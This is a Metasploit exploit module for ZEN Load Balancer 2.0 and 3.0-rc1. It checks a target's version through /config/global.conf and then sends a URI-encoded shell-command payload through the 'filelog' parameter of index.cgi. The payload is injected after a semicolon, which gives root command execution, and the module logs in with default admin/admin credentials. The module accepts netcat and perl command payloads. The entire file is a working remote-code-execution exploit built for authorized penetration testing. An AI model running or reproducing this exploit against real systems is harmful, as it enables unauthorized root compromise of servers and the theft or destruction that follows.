##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "ZEN Load Balancer Filelog Command Execution",
      'Description'    => %q{
        This module exploits a vulnerability in ZEN Load Balancer
        version 2.0 and 3.0-rc1 which could be abused to allow authenticated users
        to execute arbitrary code under the context of the 'root' user.
        The 'content2-2.cgi' file uses user controlled data from the 'filelog'
        parameter within backticks.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'bcoles' # Discovery and exploit
        ],
      'References'     =>
        [
          ['OSVDB', '85654'],
          ['URL', 'http://itsecuritysolutions.org/2012-09-21-ZEN-Load-Balancer-v2.0-and-v3.0-rc1-multiple-vulnerabilities/']
        ],
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'thread'
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Payload'        =>
        {
          'Space'       => 1024,
          'BadChars'    => "\x00",
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic netcat netcat-e perl',
            }
        },
      'Targets'        =>
        [
          ['Automatic Targeting', { 'auto' => true }]
        ],
      'Privileged'     => true,
      'DisclosureDate' => '2012-09-14',
      'DefaultTarget'  => 0))

    register_options(
      [
        Opt::RPORT(444),
        OptBool.new('SSL', [true, 'Use SSL', true]),
        OptString.new('HttpUsername', [true, 'The username for the application', 'admin']),
        OptString.new('HttpPassword', [true, 'The password for the application', 'admin'])
      ])
  end

  def check
    # retrieve software version from config file
    vprint_status("Sending check")
    begin
      res = send_request_cgi({
        'uri' => '/config/global.conf'
      })

      if res and res.code == 200 and res.body =~ /#version ZEN\s+\$version=\"(2|3\.0\-rc1)/
        return Exploit::CheckCode::Appears
      elsif res and res.code == 200 and res.body =~ /zenloadbalancer/
        return Exploit::CheckCode::Detected
      end

    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      vprint_error("Connection failed")
      return Exploit::CheckCode::Unknown
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    user  = datastore['HttpUsername']
    pass  = datastore['HttpPassword']
    cmd   = Rex::Text.uri_encode(";#{payload.encoded}&")
    lines = rand(100) + 1

    # send payload
    print_status("Sending payload (#{payload.encoded.length} bytes)")
    begin
      res = send_request_cgi({
        'uri'           => '/index.cgi',
        'authorization' => basic_auth(user, pass),
        'encode_params' => false,
        'vars_get'      => {
          'nlines'  => lines,
          'action'  => 'See logs',
          'id'      => '2-2',
          'filelog' => cmd
        }
      }, 25)
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      fail_with(Failure::Unreachable, 'Connection failed')
    rescue
      fail_with(Failure::Unknown, 'Sending payload failed')
    end

    if res and res.code == 401
      fail_with(Failure::NoAccess, 'Authentication failed')
    end

  end
end
